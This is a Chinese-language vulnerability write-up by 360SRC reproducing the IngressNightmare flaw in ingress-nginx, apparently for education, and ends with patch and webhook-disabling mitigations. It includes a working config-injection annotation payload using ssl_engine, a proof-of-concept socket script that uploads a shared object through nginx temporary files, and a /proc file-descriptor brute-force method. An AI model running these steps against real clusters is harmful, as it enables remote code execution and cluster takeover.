作者:Clifford@360SRC
作者:Clifford@360SRC
前言
在当今的云计算和微服务架构中,Ingress 控制器作为 Kubernetes 集群的关键组件,负责管理进出集群的流量,而近期,一个与其相关的漏洞席卷了云安全圈,让攻击者能够绕过集群的安全防护,获取 Kubernetes 集群中的敏感数据,甚至接管整个集群,CVSS 评分高达 9.8。更为可怕的是,这个漏洞的影响范围极广,涉及到大量使用 Ingress-nginx 的 k8s 集群,不仅影响企业生产环境,也可能波及到数百万个容器化的应用。
目前该漏洞的 poc 和一键利用脚本,在网上已经公布。我们发现在看似简单的利用中,还有不少坑点。该漏洞不同于普通的 web 漏洞,利用过程比较抽象,不是通过简单的抓包改包等方式就能完成的,并且其中涉及到不少 k8s 集群的概念理解。正好借此漏洞分析的机会,来一起梳理一下 kubernetes 中的相关组件。
对于一键利用的脚本,大家可以参考 git 项目 。这里我们主要专注于将该漏洞的利用过程中抽象的部分通过一些小技巧透明化,分析一些踩坑点,完整的还原出复现过程,并加深对 k8s 概念的理解,阅读时可以结合 k8s 的官方文档来理解。
漏洞原理
顾名思义,ingress-nightmare ,这是一个和 ingress 相关的漏洞。这里会有疑问,ingress 是什么呢?官方文档 中讲的很详细( k8s 的官方文档写的和清楚,而且中文翻译的到位,不清楚的概念最好直接看官方文档)。ingress 是 k8s 中的一个组件,而它有一个实现,叫做 ingress-nginx,是通过 nginx 来在集群中实现 ingress 的功能。而这个 ingress-nginx 则是这个漏洞的重点。
当在集群中创建一个 ingress 时,其实是新增了一个 nginx 的配置文件并应用。这里我们思考到,nginx 的配置文件中,可以通过 load_module,ssl_engine 等函数来加载动态链接库,如果可以在配置文件中加载一个恶意的动态链接库,就可以实现命令执行的目的。可惜的是,在集群中创建 ingress 是需要高权限的,我们无法直接创建ingress。但 ingress-nginx 有一个接口,该接口在创建 ingress 之前,会先验证 nginx 的配置文件是否正确,实际就是使用 nginx -t 检验配置文件,而这个接口是不需要鉴权的。因此,我们可以构造一个合适的请求发送到这个接口,直接触发检验,从而执行 ssl_engine 加载恶意的动态链接库实现命令执行。
完成了配置文件的注入,如何将恶意的动态链接库传到 ingress-nginx 的 pod 中呢?这里就需要用到一个针对 nginx 的老方法,nginx 在接受到请求时,如果请求体过大,会将内容保存到临时文件中,等请求处理完后,删除该文件。而在 ingress-nginx 的 pod 中,刚好运行着 nginx 。利用方式就很明确了,首先通过 nginx 保存临时文件的方式上传恶意的 so 文件,再通过构造请求触发 nginx 校验 执行 nginx -t,从而执行 ssl_engine 加载 so 文件,实现命令执行。接下来,我们就一步步的来研究一下完整的流程。
环境准备
在开始之前,先简单准备一下漏洞利用的环境,最好直接在一个 k8s 集群中来实践,如果没有的话也可以用 minikube 来快速搭建一个简单的集群环境。 我使用的环境中,ingress-nginx 的版本为 1.9.4,使用 1.11.5 以下的版本(以上的版本修复了),不同的版本可能有差异,但相信看完之后也可以自己处理这些问题。
前面一直提到 ingress-nginx ,这里我们来看看它具体是什么。ingress-nginx 在集群中体现出来就是一个 pod,这个 pod 可能属于 daemonset 或者 deployment,但功能都是一样的。在这个 pod 中,运行了两个关键的服务。一个是 nginx,了解了 ingress 后会理解,ingress 实际上是在做流量转发,而 ingress-nginx 作为它的实现,就是通过 nginx 来实现流量转发的功能。第二个服务叫做 ingress-nginx-controller,这个服务用来接受 apiserver 的请求并控制 nginx。简单来说就是,在集群中创建一个 ingress 时,apiserver 会发送请求到 ingress-nginx-controller, ingress-nginx-controller 根据这个请求内容生成相应的 nginx 配置,应用到 nginx 上来实现流量转发逻辑的更新,当删除或修改 ingress 时同理。
利用探索
1. 校验请求构造
首先,为了触发 nginx 检验配置文件,先来看看这里的检验具体是怎么样的。从正常情况开始考虑,我们通过命令创建一个 ingress 。
kubectl apply -f ./ingress.yaml
ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: secure-ingress
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"
nginx.ingress.kubernetes.io/auth-tls-secret: "default/ca-secret"
nginx.ingress.kubernetes.io/auth-tls-error-page: "https://example.com/403"
spec:
ingressClassName: nginx
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: my-app-service
port:
number: 80
当创建 ingress时,apiserver 会先给 ingress-nginx-controller 的校验接口发送一个请求,ingress-nginx-controller 根据内容生成配置文件并校验,然后 apiserver 发送应用请求给 ingress-nginx-controller 实现 ingress 创建,这里只关注校验的过程。所以我们的目的是构造一个校验请求,在其中植入恶意代码发送给 ingress-nginx-controller。而构造这个请求便是第一个难点。由于请求是在集群内,直接通过 apiserver 发给 ingress-nginx-controller 的,不能通过常规的抓包手段拿到请求内容,不知道请求格式也就无法构建请求。
这里需要理解以下 apiserver 是怎么发送请求给 ingress-nginx-controller 的。这个涉及到 k8s 中的另一个概念, service (这里刚接触集群的同学可以关注一下,为什么在集群里请求服务需要用 service 这个概念,而不直接用 ip 加端口来请求)。apiserver 通过将请求发送给 service,由 service 转发给 ingress-nginx-controller。
kubectl get svc -n ingress-nginx
可以看到 ingress-nginx 的命名空间下有两个 service。
其中 ingress-nginx-controller-admission 便是将校验请求转发到 ingress-nginx-controller 的。通过这个命令可以看看 service 的详细内容。
kubectl get svc -n ingress-nginx ingress-nginx-controller -o yaml | less
通过 selector 选择了 ingress-nginx-controller 的 pod,将 443 端口的流量转发到 webhook 端口。看看 pod 的配置,定义了 webhook 代表 8443 端口。也就是这个校验接口开放在 pod 的 8443 端口上。如果要获取请求内容,可以抓取这个端口上的请求就可以了
kubectl get pods -n ingress-nginx ingress-nginx-controller-m45pv -o yaml | less
但需要注意,这里是 https,要抓包的话还需要加载证书。在 ingress-nginx 的 pod 中可以看到启动命令。其中指定了端口和证书地址,直接加载这些证书即可。于是思路是,进入这个 pod,停掉原本的 nginx-ingress-controller(为了避免端口冲突),开启抓包软件监听 8443 端口(可以简单的写一个 https 服务,直接输出请求体即可)并加载这些证书,然后用命令创建 一个 ingress 即可获取到请求。
这里提供一个用 go 实现的简单的 https 服务。
但实际操作会发现,在 pod 中停掉 nginx-ingress-controller 这个进程,会导致 pod 直接重启。这是因为 pod 设置了 存活检测 livenessProbe。于是换一个思路,既然 apiserver 是发送请求到 service,service 转发到 nginx-ingress-controller 的 8443 端口,那直接修改 service 的配置,让它转发请求到 7443 端口,而我们的抓包服务运行到 pod 中的 7443 端口上,就不会发生端口冲突,并且能接受数据。也可以通过修改 pod 的配置,关掉存活检测来防止重启,可以研究试试。注意这些修改在完成抓包后要立刻恢复,不然会影响 ingress 的正常创建。
kubectl edit svc ingress-nginx-controller-admission -n ingress-nginx
修改 webhook 为 7443。
抓到的请求包如下。
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"a6432f64-2306-45cd-986f-eacd8f3b6109","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"resource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},"requestKind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"requestResource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},"name":"secure-ingress","namespace":"default","operation":"CREATE","userInfo":{"username":"kubernetes-admin","groups":["system:masters","system:authenticated"]},"object":{"kind":"Ingress","apiVersion":"networking.k8s.io/v1","metadata":{"name":"secure-ingress","namespace":"default","uid":"044a82d0-f873-44b9-9654-ff3f8d999c2c","generation":1,"creationTimestamp":"2025-04-01T13:22:59Z","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"networking.k8s.io/v1\",\"kind\":\"Ingress\",\"metadata\":{\"annotations\":{\"nginx.ingress.kubernetes.io/auth-tls-error-page\":\"https://example.com/403\",\"nginx.ingress.kubernetes.io/auth-tls-match-cn\":\"user1.example.com\",\"nginx.ingress.kubernetes.io/auth-tls-verify-client\":\"on\"},\"name\":\"secure-ingress\",\"namespace\":\"default\"},\"spec\":{\"ingressClassName\":\"nginx\",\"rules\":[{\"host\":\"example.com\",\"http\":{\"paths\":[{\"backend\":{\"service\":{\"name\":\"my-app-service\",\"port\":{\"number\":80}}},\"path\":\"/\",\"pathType\":\"Prefix\"}]}}]}}\n","nginx.ingress.kubernetes.io/auth-tls-error-page":"https://example.com/403","nginx.ingress.kubernetes.io/auth-tls-match-cn":"user1.example.com","nginx.ingress.kubernetes.io/auth-tls-verify-client":"on"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"networking.k8s.io/v1","time":"2025-04-01T13:22:59Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{},"f:nginx.ingress.kubernetes.io/auth-tls-error-page":{},"f:nginx.ingress.kubernetes.io/auth-tls-match-cn":{},"f:nginx.ingress.kubernetes.io/auth-tls-verify-client":{}}},"f:spec":{"f:ingressClassName":{},"f:rules":{},f:ingressClassName":{}}}}]},"spec":{"ingressClassName":"nginx","rules":[{"host":"example.com","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"my-app-service","port":{"number":80}}}}]}}]},"status":{"loadBalancer":{}}},"oldObject":null,"dryRun":false,"options":{"kind":"CreateOptions","apiVersion":"meta.k8s.io/v1","fieldManager":"kubectl-client-side-apply","fieldValidation":"Strict"}}}
这里有一点要注意,在 ingress.yaml 中,设置了 ingressClassName: nginx,在抓到的包中也可以看到这个字段,测试发现如果没有设置这个字段,ingress-nginx 就不会执行 nginx -t 来校验配置文件,这一点在网上一些 poc 中没有体现,会导致利用失败。具体的在后面详细讲解。
2. nginx 配置文件注入
获取请求是利用过程中的第一个不透明点,当我们发送请求给 ingress-nginx后,会根据请求内容来生成 nginx 配置文件。而这里配置文件是怎么生成的我们也不得而知,便是第二个不透明的点。必须要知道最后生成的配置文件是什么样的,我们才可以在其中注入代码。
通过分析 ingress-nginx-controller 的代码发现,会根据请求内容生成一个临时文件,写入 nginx 的配置,然后校验配置后删除。 (这个链接是新版本的,为了修复漏洞这行代码被注释了)
这个临时文件在处理完后会删除,要获取其中的内容只有在创建的时候进行读取,通过监听创建文件的系统调用,并直接读取文件内容,这里我使用的是 inotify 来进行监控,配合管道实现读取内容。
inotifywait -m -e create --format '%w%f' /proc/1876208/root/tmp/nginx/ | while read file; do cat "$file" > /tmp/nginxtmp; done
可以看到,没有直接在 pod 中去执行命令监听文件创建,因为在 pod 中不能 sudo。直接在宿主机上通过 /proc/pid/root/ (pid为 ingress-nginx-controller 进程在宿主机上的pid,容器中的进程在宿主机上也是可以通过 ps 看到的)访问容器内的路径进行监听。监听后执行命令创建 ingress。
kubectl apply -f ./ingress.yaml
ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: secure-ingress
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"
nginx.ingress.kubernetes.io/auth-tls-secret: "default/ca-secret"
nginx.ingress.kubernetes.io/auth-tls-error-page: "https://example.com/403"
nginx.ingress.kubernetes.io/rewrite-target: /abc123}}\nssl_enginea.so
spec:
ingressClassName: nginx
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: my-app-service
port:
number: 80
在抓到的文件 nginxtmp 中可以看到,这样个代码块。其中注释的这一行,就是 nginx.ingress.kubernetes.io/auth-tls-secret: “default/ca-secret” 这个配置产生的。由于指定的 secret default/ca-secret 不存在,于是生成了这样一行注释,而这也就是我们的注入点。这里的细节要注意,这个 secret 需要是一个不存在的 secret,否则不会有这行注释。
server {
server_name example.com ;
listen 80 ;
listen 443 ssl http2 ;
set $proxy_upstream_name "-";
ssl_certificate_by_lua_block {
certificate.call()
}
# error obtaining certificate: local SSL certificate default/ca-secret was not found
return 403;
}
将 default/ca-secret 改为 default/ca-secret\n}}\nssl_engine a.so;# ,看看注入的效果。ssl_engine 必须在 server 块之外才可以使用,因此需要先闭合括号。
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: secure-ingress
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"
nginx.ingress.kubernetes.io/auth-tls-secret: "default/ca-secret\n}}\nssl_engine a.so;#"
nginx.ingress.kubernetes.io/auth-tls-error-page: "https://example.com/403"
spec:
ingressClassName: nginx
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: my-app-service
port:
number: 80
apply 应用后看到报错,说明已经注入成功。这里使用的 ssl_engine 和 load_module 一样,都会加载动态链接库,因为 load_module 需要在开头使用,因此这里要用 ssl_engine。
这里会直接输出报错,但通过查看 pod 的日志可以看到更多信息。
kubectl logs -n ingress-nginx ingress-nginx-controller-72rsj | less
前面讲到,ingress 中必须要设置 ingressClassName: nginx,若不设置会怎么样呢?在日志中有明显体现。对于没有设置 class 的会直接 ignoring,这段逻辑在代码里这样体现。判断后会直接退出,不会走到后面的 n.testTemplate(content),也就不会校验。在日志中还有很多不同的报错信息,可以研究一下每一个对应的情况,在这种复杂的集群环境下,日志是很重要的分析工具。
这里我们只是通过 nginx.ingress.kubernetes.io/auth-tls-secret 注解来进行了注入,而 ingress-nginx 支持的注解还有很多 ,还存在很多其他的注入方式等待探索。
3. 临时文件上传恶意 so
这是一个经典的利用手法,但临时文件的保存也很有讲究。同样的临时文件也涉及到文件创建,用上面的 inotify进行监控。nginx 会把临时文件创建到 /tmp/nginx/client-body/,监控这个文件看看。
inotifywait -m -e create,close_write,delete,modify /proc/1876208/root/tmp/nginx/client-body/
发现有点奇怪,是先删除再修改文件,试试直接读取这个文件发现读取不到,文件不存在,那这个临时文件是怎么保存的呢?其实这个文件在创建文件句柄后就直接删除了,在文件系统中看不到,但是进程是占用着这个文件句柄的,因此在 proc 目录下可以看到这个文件。
ll /proc/3554873/root/proc/*/fd | less | grep tmp
看到这样的输出。链接的文件已经删除了,但是直接访问 /proc/3554873/root/proc/44/fd/23
可以看到临时文件。因此,通过 ssl_engine 加载 so 时,也需要写入这样的路径 /proc/x/fd/y
,由于不知道具体是哪个进程处理的请求,所以其中 x 和 y 就是需要爆破的值,通常这个值会在 100 以内,可以直接爆破。
23 -> /tmp/nginx/client-body/0000000009 (deleted)
再看看恶意 so 的制作,我这里提供一个有写入文件工单的代码来测试。
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void my_constructor() {
FILE *file = fopen("/tmp/test", "w");
if (file != NULL) {
fprintf(file, "123\n");
fclose(file);
} else {
perror("Failed to open file");
}
}
编译命令 gcc -shared -fPIC -o libexample.so my_module.c
(需要提前安装 gcc 等编译工具)。这里我们生成的 so 文件会比较小,而 nginx 需要在收到大文件(测试大概是 8 kb 以上)的时候会保存到临时文件,因此需要给我们的 payload 增大,看看 poc (在文章开头的链接处)中发送请求到 nginx 的核心代码。
so = evil_engine + b"\00" * 4096 * 2
real_length = len(so)
fake_length = real_length + 10
url = ingress_url
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(0)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + so
sock.sendall(http_payload)
首先是在 so 文件末尾添加了 8 kb 的空内容,让请求包够大而产生临时文件;其次,在 Content-Length 中设置的长度是大于文件原本的长度的,这样 nginx 在收到请求后发现长度不够则认为数据还没有发送完,会维持连接等待一段时间,这也就是提供给我们爆破文件 fd 的时间。
最后,对于临时文件是否创建成功我们还是没有一个直观的观察方式,可以通过查看 nginx-ingrss 的 pod 的日志来判断。(因为 nginx-ingress-controller 和 nginx 是运行在同一个 pod 中的,所以这个 pod 的日志中可以看到两个服务的日志)
kubectl logs -n ingress-nginx ingress-nginx-controller-s6ztm | less
有这样的类似输出代表文件上传成功。
[warn] 935#935: *4228817 a client request body is buffered to a temporary file /tmp/nginx/client-body/0000000012
4. 完整利用
经过上面的探索,现在我们把流程串联起来,完整利用这个漏洞。
首先准备恶意的 ingress.yaml,通过应用它来抓取能够进行注入的数据包。当然在知道请求的结构后也可以直接在原始请求上改。
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: secure-ingress
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"
nginx.ingress.kubernetes.io/auth-tls-secret: "default/ca-secret\n}}\nssl_engine /proc/x/fd/y;#"
nginx.ingress.kubernetes.io/auth-tls-error-page: "https://example.com/403"
spec:
ingressClassName: nginx
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: my-app-service
port:
number: 80
在 pod 上运行我们的抓包服务,修改 ingress-nginx-controller-admission 转发到我们的抓包服务端口,应用这个配置文件,得到请求体。然后使用 python 或者直接使用 curl 发送请求到校验接口。注意校验接口的路径是这样 https://ingress-nginx-controller-admission
同时在 pod 的日志中观察是否请求成功。
保存好正确的请求体,向 ingress-nginx 发送带有恶意 so 的请求。(发送后,可以在主机上看看生成的临时文件和我们发送的恶意 so 的内容是否一样,有没有损坏),地址是 ingress-nginx-controller:80。同时向校验接口开始爆破,观察返回的内容。若返回包含 could not bind to the requested symbol name
,表示注入成功。
由于涉及到 service,因此发送请求时会比较抽象,特别是在 pod 内,不知道请求的地址是否正确,因此需要多观察 ingress-nginx 的 pod 的日志来判断请求是否正确。
总结
这个漏洞的利用原理并不复杂,但由于是在 k8s 集群中,导致一些步骤没有那么透明,并且其中的概念,包括 ingress,service 等比较抽象,刚接触到 k8s 的同学会不太理解。希望通过这篇文章,复现漏洞的同时可以加深对集群中的各种概念的理解。此外,这里我们涉及到的集群资源类型并不多,主要是用来转发流量的资源(ingress 和 service),感兴趣的可以结合官方文档去了解更多内容,从基础的 deployment,pod ,apiserver 等概念,到 crd 这些比较抽象的自定义资源,这篇内容已经很多了,其实可以思考的点还有一些,我们利用漏洞是直接给 ingress-nginx-controller-admission 这个 service 发送请求,为什么在正常创建 ingress 时,apiserver 也会自动的给这个 service 发送请求?这个 service 是谁创建的?名字中的 admission 又代表了什么含义?在拿到 ingress-nginx 的 pod 的权限后,又能做什么,前面说到的权限很高怎么体现?这些内容就留到下次再来探讨吧。
修复方案
根本修复:
提醒受影响的 ingress-nginx 用户,请尽快更新到 1.12.1,1.11.5 或更高版本进行修复,并确保 ingress-nginx-controller-admission 不要对公网暴露。
缓解措施:
对于不支持更新 ingress-nginx 版本的情况,可以采取以下措施缓解,由于漏洞点在 webhook 的接口,因此关闭ingress-nginx 的 webhook 功能可以防止漏洞被利用。
# 使用 helm 安装的 ingress-nginx,在 values.yaml 中找到这部分,设置 enabled 为 false。
admissionWebhooks:
annotations: {}
enabled: false
extraEnvs: []
对于直接安装的情况,通过直接修改 deployment 或 daemonset 来关闭 webhook。(这里展示 daemonset)
# 查询 daemonset
kubectl get daemonset -n ingress-nginx
# 编辑 daemonset
kubectl edit daemonset ingress-nginx-controller -n ingress-nginx
删除启动命令 args 中的 webhook 配置
- --validating-webhook=:8443
- --validating-webhook-certificate=/usr/local/certificates/cert
- --validating-webhook-key=/usr/local/certificates/key
发表评论
您还未登录,请先登录。
登录